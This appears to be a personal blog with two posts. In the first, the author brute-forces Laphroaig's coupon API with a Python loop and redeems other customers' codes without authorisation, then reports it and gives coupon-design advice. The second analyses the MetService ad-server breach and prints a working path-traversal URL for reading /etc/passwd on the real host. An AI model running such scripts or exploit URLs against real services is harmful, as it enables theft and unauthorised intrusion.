Hacking Whisky

I got a lovely bottle of Laphroaig single malt whisky for Christmas last year. The box included a coupon code that can be redeemed for points to spend in Laphroaig’s online shop. Great! I logged in to http://laphroaig.com and entered the details found on the included leaflet.

Laphroaig Leaflet

Entering the code into the website raised a couple immediate concerns.

  1. The code is 6 upper case letters with no numbers or punctuation.
  2. No captcha was requested.

Given that there is only ~300 million possibilities (assuming combination), I decided to write a quick python script in an attempt to determine how the website was preventing points from being programatically consumed.

I copied the redemption API request headers and used those to write a simple python script.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.laphroaig.com
Connection: keep-alive
Content-Length: 127
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://www.laphroaig.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://www.laphroaig.com/redeem-points/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: _ga=XXXXXXXXXXXXXXX

The script iterates sequentially over the upper case alphabet domain (e.g., AAAAAA, AAAAAB, AAAAAC … etc) and makes an API request to attempt to redeem a code for each possibility.

...

for item in itertools.product(alphabet, repeat=6):
    urn = ''.join(item)
    print >> f, '... testing urn: ' + urn

    data['urn'] = urn

    r = requests.post('https://www.laphroaig.com/wp-admin/admin-ajax.php', data=data, headers=headers)

    json = r.json()

    if not json['error']:
        print >> f, '> found code: ' + urn

I thought this must be harmless enough. The API must do some rate limiting or something else to prevent this attack. Having written the script, I started it running and went and prepared a cup of tea before checking back on the progress. After getting back to my mac book 3 minutes later, I discovered the following output (truncated).

... testing urn: AAAAAA
... testing urn: AAAAAB
... testing urn: AAAAAC

...

... testing urn: AAAABA
... testing urn: AAAABB
> VALID CODE: AAAABB
... testing urn: AAAABC
> VALID CODE: AAAABC
... testing urn: AAAABD
> VALID CODE: AAAABD
... testing urn: AAAABE
> VALID CODE: AAAABE
... testing urn: AAAABF

** face palm **

I had successfully redeemed a number of codes. The first code being AAAABB and subsequent codes being in the same sequence.

In fact, in 3 minutes I had redeemed over £100 worth of points. Not only was the search space small (~300 million), but the allocation of the printed coupon codes was done sequentially! The API had no apparent throttling, bot checks or anything to prevent someone from walking the entire code domain and redeeming each value.

I stopped the script and looked at the damage. I had,

  • Redeemed 100’s of codes (probably) already printed and inside whisky boxes in retailers.
  •  Given myself enough store credits to purchase well over £100 worth of products from Laphroaig’s online store.

Being a white hat, I reached out to Laphroaig support by email, twitter and messenger. I wanted them to revoke the codes that I redeemed and fix the issue by introducing a captcha to protect against bots.

I received no response by email or twitter. I eventually received a response from messenger but the response was scripted and did not follow up on the problem in any way.

Support screenshot

So for those of you that have purchased a bottle of whisky and was not able to redeem the code included with the bottle… Apologies if I was the cause!! Please try reach out to Laphroaig to see if you are able to get a better response.

For fellow developers out there – do not make the same mistake. When designing an app that requires coupon system be sure to consider the following:

  • Randomly allocate codes in the key space (without replacement).
  • Ensure that the key space size is large.
  • Use a captcha or similar to restrict automated redemption checks.

MetService Hacked – How it Happened

By now, most of you should be aware of the recent attack on the MetService website that hit in a very busy period and infected many visitors computers. It was noticeable in the form of fake virus scanner alerts on infected computers.

Everything that I have read so far explains what the trojan virus does (see this blog post) and the type of vulnerability:

We now know that the ad server was compromised by a malicious attack, through a vulnerability which allowed someone to upload a binary file into the database. This file contained JavaScript code which redirects the browser to a website which downloads malware files to the client machine.

What these sites don’t tell us is what applications on MetService’s ad server resulted in them being compromised.

I decided to do a little poking around while sitting outside in the sun on a quiet Friday.

Firstly, I used the chrome debugger to find out details about their ad server.

Turns out that the address is simply: ads.metservice.com.  With all the magical (php) scripts living in ads.metservice.com/openx-2.6.3/www/delivery. Please turn off directory indexing MetService developers (we really don’t need to see this information).

From this we can see that they are running ‘openx-2.6.3’

So a quick search at on the web for exploits on this version of the ‘OpenX’ ad tool comes up with exploits-7883. This exploit works simply by using the following url to return passwords:

http://ads.metservice.com/openx/www/delivery/fc.php?MAX_type=%20../../../../../../../../../../../../../../../etc/passwd%00

This exploit is a mix of ‘Poison Null Byte‘ and ‘Local File Inclusion‘.

This is most likely how the hacker forced their way through MetService’s security although there are more exploits found in this list which are also possible. Or perhaps I am being too harsh and this is a zero day exploit.

If we assume that it is the security vulnerability mentioned above, then this could have been avoided by keeping OpenX up to date with patches.

MetService does not appear to be keeping their PHP scripts up to date if we go by the folder naming conventions. The OpenX website tells me that the latest version is ‘2.8.7’ while it looks like they are only sitting on ‘2.6.3’. It does apear that another development team has fallen victim to a PHP application vulnerability.

But lets not forget that ultimately it was the hacker initiated this attack on MetService users.

Time for me to uninstall wordpress yet?